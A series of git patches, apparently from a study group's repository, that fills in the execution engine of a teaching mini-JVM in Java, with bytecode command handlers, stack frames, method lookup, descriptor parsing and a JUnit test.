+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 
@@ -24,7 +26,17 @@ public String toString(ConstantPool pool) {
 	
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String className = info.getClassName();
+		String fieldName = info.getFieldName();
+		String fieldType = info.getFieldType();
 		
+		if("java/lang/System".equals(className) 
+				&& "out".equals(fieldName) 
+				&& "Ljava/io/PrintStream;".equals(fieldType)){
+			JavaObject jo = Heap.getInstance().newObject(className);
+			frame.getOprandStack().push(jo);
+		}
 		
 	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
index c746056c70..04ea9311a3 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -4,27 +4,37 @@
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.MethodArea;
 import com.coderising.jvm.engine.StackFrame;
-
+import com.coderising.jvm.method.Method;
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
 
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
+	public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+
 	}
 
 	@Override
 	public String toString(ConstantPool pool) {
-		
+
 		return super.getOperandAsMethod(pool);
 	}
-	
+
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
+		MethodRefInfo methodRefInfo = (MethodRefInfo) this.getConstantInfo(this.getIndex());
+
+		// 我们不用实现jang.lang.Object 的init方法
+		if (methodRefInfo.getClassName().equals("java/lang/Object") && methodRefInfo.getMethodName().equals("<init>")) {
+			return;
+
+		}
+		Method nextMethod = MethodArea.getInstance().getMethod(methodRefInfo);
+
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		result.setNextMethod(nextMethod);
+
 	}
-	
 
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
index 46807110fe..ad6249c2e5 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -2,26 +2,81 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.MethodArea;
 import com.coderising.jvm.engine.StackFrame;
-
+import com.coderising.jvm.method.Method;
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
 
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
+	public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
 	}
 
 	@Override
 	public String toString(ConstantPool pool) {
-		
+
 		return super.getOperandAsMethod(pool);
 	}
+
+	private boolean isSystemOutPrintlnMethod(String className, String methodName) {
+		return "java/io/PrintStream".equals(className) && "println".equals(methodName);
+	}
+
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
+		// 先得到对该方法的描述
+		MethodRefInfo methodRefInfo = (MethodRefInfo) this.getConstantInfo(this.getIndex());
+
+		String className = methodRefInfo.getClassName();
+		String methodName = methodRefInfo.getMethodName();
+
+		// 我们没有实现System.out.println方法， 所以也不用建立新的栈帧， 直接调用Java的方法， 打印出来即可。
+		if (isSystemOutPrintlnMethod(className, methodName)) {
+			JavaObject jo = (JavaObject) frame.getOprandStack().pop();
+			String value = jo.toString();
+			System.err.println("-------------------" + value + "----------------");
+
+			// 这里就是那个out对象， 因为是个假的，直接pop出来
+			frame.getOprandStack().pop();
+
+			return;
+		}
+
+		// 注意：多态， 这才是真正的对象, 先从该对象的class 中去找对应的方法，找不到的话再去找父类的方法
+		JavaObject jo = frame.getOprandStack().peek();
+
+		MethodArea ma = MethodArea.getInstance();
+
+		Method m = null;
+
+		String currentClassName = jo.getClassName();
+
+		while (currentClassName != null) {
+
+			ClassFile currentClassFile = ma.findClassFile(currentClassName);
+
+			m = currentClassFile.getMethod(methodRefInfo.getMethodName(), methodRefInfo.getParamAndReturnType());
+			if (m != null) {
+
+				break;
+
+			} else {
+				// 查找父类
+				currentClassName = currentClassFile.getSuperClassName();
+			}
+		}
+
+		if (m == null) {
+			throw new RuntimeException("Can't find method for :" + methodRefInfo.toString());
+		}
+
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+
+		result.setNextMethod(m);
+
 	}
-	
-	
 
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
index ea483169cf..8f68077c17 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
@@ -5,6 +5,8 @@
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
@@ -30,7 +32,19 @@ public String toString(ConstantPool pool) {
 	
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
+		ConstantPool pool = this.getConstantPool();
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
 		
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			String value = strInfo.toString();
+			JavaObject jo = Heap.getInstance().newString(value);
+			frame.getOprandStack().push(jo);
+		}
+		else{
+			//TBD 处理其他类型
+			throw new RuntimeException("Only support StringInfo constant");
+		}
 		
 	}
 	
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
index 2d7a2558c5..e60c6e2464 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -1,25 +1,37 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
+public class NewObjectCmd extends TwoOperandCmd {
+
+	public NewObjectCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
 	}
 
 	@Override
 	public String toString(ConstantPool pool) {
-		
+
 		return super.getOperandAsClassInfo(pool);
 	}
+
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
+		int index = this.getIndex();
+
+		ClassInfo info = (ClassInfo) this.getConstantInfo(index);
+
+		String clzName = info.getClassName();
+
+		JavaObject jo = Heap.getInstance().newObject(clzName);
+
+		frame.getOprandStack().push(jo);
+
 	}
-	
+
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
index e9d27995d7..823a723e24 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -3,6 +3,8 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class NoOperandCmd extends ByteCodeCommand{
@@ -22,7 +24,121 @@ public  int getLength(){
 
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		// TODO Auto-generated method stub
+
+		String opCode = this.getOpCode();
+		
+		if(ByteCodeCommand.aload_0.equalsIgnoreCase(opCode)){
+		
+			JavaObject jo = frame.getLocalVariableValue(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_1.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_2.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if(ByteCodeCommand.iload_1.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if (ByteCodeCommand.iload_2.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}  else if (ByteCodeCommand.iload_3.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if (ByteCodeCommand.fload_3.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}
+		else if (ByteCodeCommand.voidreturn.equalsIgnoreCase(opCode)){
+			
+			result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+			
+		} else if(ByteCodeCommand.ireturn.equalsIgnoreCase(opCode)){
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.freturn.equalsIgnoreCase(opCode)){
+			
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+		}
+		
+		else if(ByteCodeCommand.astore_1.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+		    frame.setLocalVariableValue(1, jo);
+		    
+		} else if(ByteCodeCommand.dup.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().peek();
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_0.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_1.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.istore_1.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(1, jo);
+			
+		}  else if(ByteCodeCommand.istore_2.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(2, jo);
+			
+		} else if(ByteCodeCommand.iadd.equalsIgnoreCase(opCode)){
+			
+			JavaObject jo1 = frame.getOprandStack().pop();
+			JavaObject jo2 = frame.getOprandStack().pop();
+			
+			JavaObject sum = Heap.getInstance().newInt(jo1.getIntValue()+jo2.getIntValue());
+			
+			frame.getOprandStack().push(sum);
+			
+		} else if (ByteCodeCommand.aconst_null.equalsIgnoreCase(opCode)){
+			
+			frame.getOprandStack().push(null);
+			
+		} 
+		else{
+			throw new RuntimeException("you must forget to implement the operation :" + opCode);
+		}
+		
 		
 	}
 
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
index 2918d3dcdc..d693315397 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -1,8 +1,12 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
@@ -18,7 +22,19 @@ public String toString(ConstantPool pool) {
 	}
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
 		
+		ClassInfo clzInfo = (ClassInfo)this.getConstantInfo(fieldRef.getClassInfoIndex());
+		NameAndTypeInfo nameTypeInfo = (NameAndTypeInfo)this.getConstantInfo(fieldRef.getNameAndTypeIndex());
+		// for example : name
+		String fieldName = nameTypeInfo.getName();
+		// for example : Ljava/lang/String : 注意：我们不再检查类型
+		String fieldType = nameTypeInfo.getTypeInfo();
+		
+		JavaObject fieldValue = frame.getOprandStack().pop();
+		JavaObject objectRef = frame.getOprandStack().pop();
+		
+		objectRef.setFieldValue(fieldName, fieldValue);
 		
 	}
 
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java
index 52e40ce079..f2cdee21b3 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java
@@ -19,16 +19,58 @@ public ExecutorEngine() {
 	}
 	
 	public void execute(Method mainMethod){
+		StackFrame mainFrame = StackFrame.create(mainMethod);
+		stack.push(mainFrame);
 		
-		
-		
+		while(!stack.empty()){
+			
+			StackFrame frame = stack.peek();			
+			
+			ExecutionResult result = frame.execute();
+			
+			if(result.isPauseAndRunNewFrame()){
+				
+				Method nextMethod = result.getNextMethod();
+				StackFrame nextFrame = StackFrame.create(nextMethod);
+				nextFrame.setCallerFrame(frame);				
+				setupFunctionCallParams(frame,nextFrame);
+				
+				stack.push(nextFrame);
+				
+			} else {
+				
+				stack.pop();
+				
+			}
+		}
 	}
 	
 	
 	
 	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		Method nextMethod = nextFrame.getMethod();
+		List<String> paramList = nextMethod.getParameterList();
+		
+		//加上1 是因为要把this也传递过去
+		
+		int paramNum = paramList.size() + 1;
 		
 		
+		List<JavaObject> values = new ArrayList<JavaObject>();
+		
+		//数据结构知识：  从栈中取出栈顶的x个元素
+		while(paramNum>0){			
+			values.add(currentFrame.getOprandStack().pop());
+			paramNum --;
+		}
+		//数据结构知识：  把一个列表倒序排列
+		List<JavaObject> params = new ArrayList<JavaObject>();
+		
+		for(int i=values.size()-1; i>=0 ;i--){
+			params.add(values.get(i));
+		}
+
+		nextFrame.setLocalVariableTable(params);
 		
 	}
 	
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/JavaObject.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/JavaObject.java
index be6d3470be..2d777ede03 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/engine/JavaObject.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/JavaObject.java
@@ -8,64 +8,75 @@ public class JavaObject {
 	public static final int STRING = 2;
 	public static final int INT = 3;
 	public static final int FLOAT = 4;
-	
+
 	int type;
 	private String className;
-	
-	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
-	
+
+	private Map<String, JavaObject> fieldValues = new HashMap<String, JavaObject>();
+
 	private String stringValue;
-	
+
 	private int intValue;
-	
+
 	private float floatValue;
-	
-	public void setFieldValue(String fieldName, JavaObject fieldValue){
+
+	public void setFieldValue(String fieldName, JavaObject fieldValue) {
 		fieldValues.put(fieldName, fieldValue);
 	}
-	public JavaObject(int type){
+
+	public JavaObject(int type) {
 		this.type = type;
 	}
-	public void setClassName(String className){
+
+	public void setClassName(String className) {
 		this.className = className;
 	}
-	public void setStringValue(String value){
+
+	public void setStringValue(String value) {
 		stringValue = value;
 	}
-	public String getStringValue(){
+
+	public String getStringValue() {
 		return this.stringValue;
 	}
+
 	public void setIntValue(int value) {
-		this.intValue = value;		
+		this.intValue = value;
 	}
-	public int getIntValue(){
+
+	public int getIntValue() {
 		return this.intValue;
 	}
-	public int getType(){
+
+	public int getType() {
 		return type;
 	}
-	public JavaObject getFieldValue(String fieldName){
+
+	public JavaObject getFieldValue(String fieldName) {
 		return this.fieldValues.get(fieldName);
 	}
-	public String toString(){
-		switch(this.getType()){
-		case INT: 
+
+	public String toString() {
+		switch (this.getType()) {
+		case INT:
 			return String.valueOf(this.intValue);
 		case STRING:
 			return this.stringValue;
 		case OBJECT:
-			return this.className +":"+ this.fieldValues;
-		case FLOAT :
+			return this.className + ":" + this.fieldValues;
+		case FLOAT:
 			return String.valueOf(this.floatValue);
 		default:
 			return null;
 		}
 	}
-	public String getClassName(){
+
+	public String getClassName() {
 		return this.className;
 	}
+
 	public void setFloatValue(float value) {
-		this.floatValue = value;		
+		this.floatValue = value;
 	}
 
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/MethodArea.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/MethodArea.java
index 64bf6c4c2a..575e36d85f 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/engine/MethodArea.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/MethodArea.java
@@ -9,60 +9,73 @@
 import com.coderising.jvm.method.Method;
 
 public class MethodArea {
-	
+
 	public static final MethodArea instance = new MethodArea();
-	
+
 	/**
 	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
 	 */
-	
+
 	private ClassFileLoader clzLoader = null;
-	
-	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
-	
-	private MethodArea(){		
+
+	Map<String, ClassFile> map = new HashMap<String, ClassFile>();
+
+	private MethodArea() {
 	}
-	
-	public static MethodArea getInstance(){
+
+	public static MethodArea getInstance() {
 		return instance;
 	}
-	
-	public void setClassFileLoader(ClassFileLoader clzLoader){
+
+	public void setClassFileLoader(ClassFileLoader clzLoader) {
 		this.clzLoader = clzLoader;
 	}
-	
-	public Method getMainMethod(String className){
-		
+
+	public Method getMainMethod(String className) {
+
 		ClassFile clzFile = this.findClassFile(className);
-		
+
 		return clzFile.getMainMethod();
 	}
-	
-	
-	public  ClassFile findClassFile(String className){
-		
-		if(map.get(className) != null){
+
+	public ClassFile findClassFile(String className) {
+
+		if (map.get(className) != null) {
 			return map.get(className);
 		}
 		// 看来该class 文件还没有load过
 		ClassFile clzFile = this.clzLoader.loadClass(className);
-		
+
 		map.put(className, clzFile);
-		
+
 		return clzFile;
-		
+
 	}
-	
-	
-	public Method getMethod(String className, String methodName, String paramAndReturnType){
-		
-		return null;
+
+	public Method getMethod(String className, String methodName, String paramAndReturnType) {
+		ClassFile clz = this.findClassFile(className);
+
+		Method m = clz.getMethod(methodName, paramAndReturnType);
+
+		if (m == null) {
+
+			throw new RuntimeException("method can't be found : \n" + "class: " + className + "method: " + methodName
+					+ "paramAndReturnType: " + paramAndReturnType);
+		}
+
+		return m;
 	}
-	
-	
-	public Method getMethod(MethodRefInfo methodRef){		
-		
-		return null;
-			
+
+	public Method getMethod(MethodRefInfo methodRef) {
+		ClassFile clz = this.findClassFile(methodRef.getClassName());
+
+		Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+
+		if (m == null) {
+			throw new RuntimeException("method can't be found : " + methodRef.toString());
+		}
+
+		return m;
+
 	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/OperandStack.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/OperandStack.java
new file mode 100644
index 0000000000..f933464832
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/OperandStack.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class OperandStack {
+	private List<JavaObject> operands = new ArrayList<JavaObject>();
+	
+	public void push(JavaObject jo){
+		operands.add(jo);
+	}
+	public JavaObject pop(){
+		int index = size()-1;
+		JavaObject jo = (JavaObject)operands.get(index);
+		operands.remove(index);
+		return jo;
+		
+	}
+	public JavaObject top(){
+		int index = size()-1;
+		return (JavaObject)operands.get(index);
+	}
+	public int size(){
+		return operands.size();		
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/StackFrame.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/StackFrame.java
index 9c5726505a..690a88cdc4 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/engine/StackFrame.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/StackFrame.java
@@ -8,16 +8,16 @@
 import com.coderising.jvm.method.Method;
 
 public class StackFrame {
-	
+
 	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
 	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
-	
+
 	int index = 0;
-	
+
 	private Method m = null;
-	
+
 	private StackFrame callerFrame = null;
-	
+
 	public StackFrame getCallerFrame() {
 		return callerFrame;
 	}
@@ -26,70 +26,91 @@ public void setCallerFrame(StackFrame callerFrame) {
 		this.callerFrame = callerFrame;
 	}
 
-	
-	
-	
-	public static  StackFrame create(Method m){
-		
-		StackFrame frame = new StackFrame( m );			
-		
+	public static StackFrame create(Method m) {
+
+		StackFrame frame = new StackFrame(m);
+
 		return frame;
 	}
 
-	
-	private StackFrame(Method m) {		
+	private StackFrame(Method m) {
 		this.m = m;
-		
+
 	}
-	
-	
-	
-	public JavaObject getLocalVariableValue(int index){
+
+	public JavaObject getLocalVariableValue(int index) {
 		return this.localVariableTable.get(index);
 	}
-	
-	public Stack<JavaObject> getOprandStack(){
+
+	public Stack<JavaObject> getOprandStack() {
 		return this.oprandStack;
 	}
-	
-	public int getNextCommandIndex(int offset){
-		
-		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
-		for(int i=0;i<cmds.length; i++){
-			if(cmds[i].getOffset() == offset){
+
+	public int getNextCommandIndex(int offset) {
+
+		ByteCodeCommand[] cmds = m.getCodeAttr().getCmds();
+		for (int i = 0; i < cmds.length; i++) {
+			if (cmds[i].getOffset() == offset) {
 				return i;
 			}
 		}
 		throw new RuntimeException("Can't find next command");
 	}
-	
-	public ExecutionResult execute(){
-		return null;
-		
+
+	public ExecutionResult execute() {
+
+		ByteCodeCommand[] cmds = m.getCmds();
+
+		while (index < cmds.length) {
+
+			ExecutionResult result = new ExecutionResult();
+			// 缺省值是执行下一条命令
+			result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+
+			System.out.println(cmds[index].toString());
+
+			cmds[index].execute(this, result);
+
+			if (result.isRunNextCmd()) {
+				index++;
+			} else if (result.isExitCurrentFrame()) {
+				return result;
+			} else if (result.isPauseAndRunNewFrame()) {
+				index++;
+				return result;
+			} else if (result.isJump()) {
+				int offset = result.getNextCmdOffset();
+				this.index = getNextCommandIndex(offset);
+			} else {
+				index++;
+			}
+
+		}
+
+		// 当前StackFrmae的指令全部执行完毕，可以退出了
+		ExecutionResult result = new ExecutionResult();
+		result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;
+
 	}
 
-	
-	
-	
-	public void setLocalVariableTable(List<JavaObject> values){
-		this.localVariableTable = values;	
+	public void setLocalVariableTable(List<JavaObject> values) {
+		this.localVariableTable = values;
 	}
-	
-	public void setLocalVariableValue(int index, JavaObject jo){
-		//问题： 为什么要这么做？？
-		if(this.localVariableTable.size()-1 < index){
-			for(int i=this.localVariableTable.size(); i<=index; i++){
+
+	public void setLocalVariableValue(int index, JavaObject jo) {
+		// 问题： 为什么要这么做？？
+		if (this.localVariableTable.size() - 1 < index) {
+			for (int i = this.localVariableTable.size(); i <= index; i++) {
 				this.localVariableTable.add(null);
 			}
 		}
 		this.localVariableTable.set(index, jo);
-		
-		
+
 	}
-	
-	public Method getMethod(){
+
+	public Method getMethod() {
 		return m;
 	}
-	
 
-}
+}
\ No newline at end of file
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java b/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java
index 091ecc2209..47a9ce274f 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java
@@ -1,5 +1,8 @@
 package com.coderising.jvm.method;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.attr.AttributeInfo;
 import com.coderising.jvm.attr.CodeAttr;
 import com.coderising.jvm.clz.ClassFile;
@@ -53,24 +56,83 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
 		Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
 
 		int attirbutesCount = iter.nextU2Int();
-		
+
 		for (int i = 0; i < attirbutesCount; i++) {
 			int attributeNameIndex = iter.nextU2Int();
 			iter.back(2);
 			String attributeName = ((UTF8Info) clzFile.getConstantPool().getConstantInfo(attributeNameIndex))
 					.getValue();
-			
+
 			if (null != attributeName && attributeName.equalsIgnoreCase(AttributeInfo.CODE)) {
 				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
 				method.setCodeAttr(codeAttr);
 
 			} else {
-				throw new RuntimeException("解析属性异常-属性名:"+attributeName);
+				throw new RuntimeException("解析属性异常-属性名:" + attributeName);
 			}
 		}
 		return method;
 	}
-	public ByteCodeCommand[] getCmds() {		
+
+	public ByteCodeCommand[] getCmds() {
 		return this.getCodeAttr().getCmds();
 	}
+
+	private String getParamAndReturnType() {
+		UTF8Info nameAndTypeInfo = (UTF8Info) this.getClzFile().getConstantPool()
+				.getConstantInfo(this.getDescriptorIndex());
+		return nameAndTypeInfo.getValue();
+	}
+
+	public List<String> getParameterList() {
+
+		// e.g. (Ljava/util/List;Ljava/lang/String;II)V
+		String paramAndType = getParamAndReturnType();
+
+		int first = paramAndType.indexOf("(");
+		int last = paramAndType.lastIndexOf(")");
+		// e.g. Ljava/util/List;Ljava/lang/String;II
+		String param = paramAndType.substring(first + 1, last);
+
+		List<String> paramList = new ArrayList<String>();
+
+		if ((null == param) || "".equals(param)) {
+			return paramList;
+		}
+
+		while (!param.equals("")) {
+
+			int pos = 0;
+			// 这是一个对象类型
+			if (param.charAt(pos) == 'L') {
+
+				int end = param.indexOf(";");
+
+				if (end == -1) {
+					throw new RuntimeException("can't find the ; for a object type");
+				}
+				paramList.add(param.substring(pos + 1, end));
+
+				pos = end + 1;
+
+			} else if (param.charAt(pos) == 'I') {
+				// int
+				paramList.add("I");
+				pos++;
+
+			} else if (param.charAt(pos) == 'F') {
+				// float
+				paramList.add("F");
+				pos++;
+
+			} else {
+				throw new RuntimeException("the param has unsupported type:" + param);
+			}
+
+			param = param.substring(pos);
+
+		}
+		return paramList;
+
+	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java b/group27/383117348/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java
new file mode 100644
index 0000000000..641ad0a7ed
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.engine.MiniJVM;
+
+public class MiniJVMTest {
+
+	static final String PATH = "E:\\MyGit\\coding2017\\group27\\383117348\\bin";
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception {
+		String[] classPaths = { PATH };
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "com.coderising.jvm.test.EmployeeV1");
+
+	}
+
+}

From e6bd5fd548d5d995e561924d564ba98e8f18e673 Mon Sep 17 00:00:00 2001
From: zhanglei <383117348@qq.com>
Date: Tue, 2 May 2017 14:45:36 +0800
Subject: [PATCH 158/262] commit

---
 group27/383117348/.classpath | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/group27/383117348/.classpath b/group27/383117348/.classpath
index 58f336f5a2..71afc607de 100644
--- a/group27/383117348/.classpath
+++ b/group27/383117348/.classpath
@@ -4,10 +4,10 @@
 	<classpathentry kind="src" path="lib"/>
 	<classpathentry kind="src" path="mini-jvm"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
-	<classpathentry kind="lib" path="lib/junit.jar"/>
-	<classpathentry kind="lib" path="lib/org.hamcrest.core_1.3.0.v201303031735.jar"/>
 	<classpathentry kind="lib" path="lib/dom4j-1.6.1.jar"/>
-	<classpathentry kind="lib" path="lib/commons-lang3-3.2.jar"/>
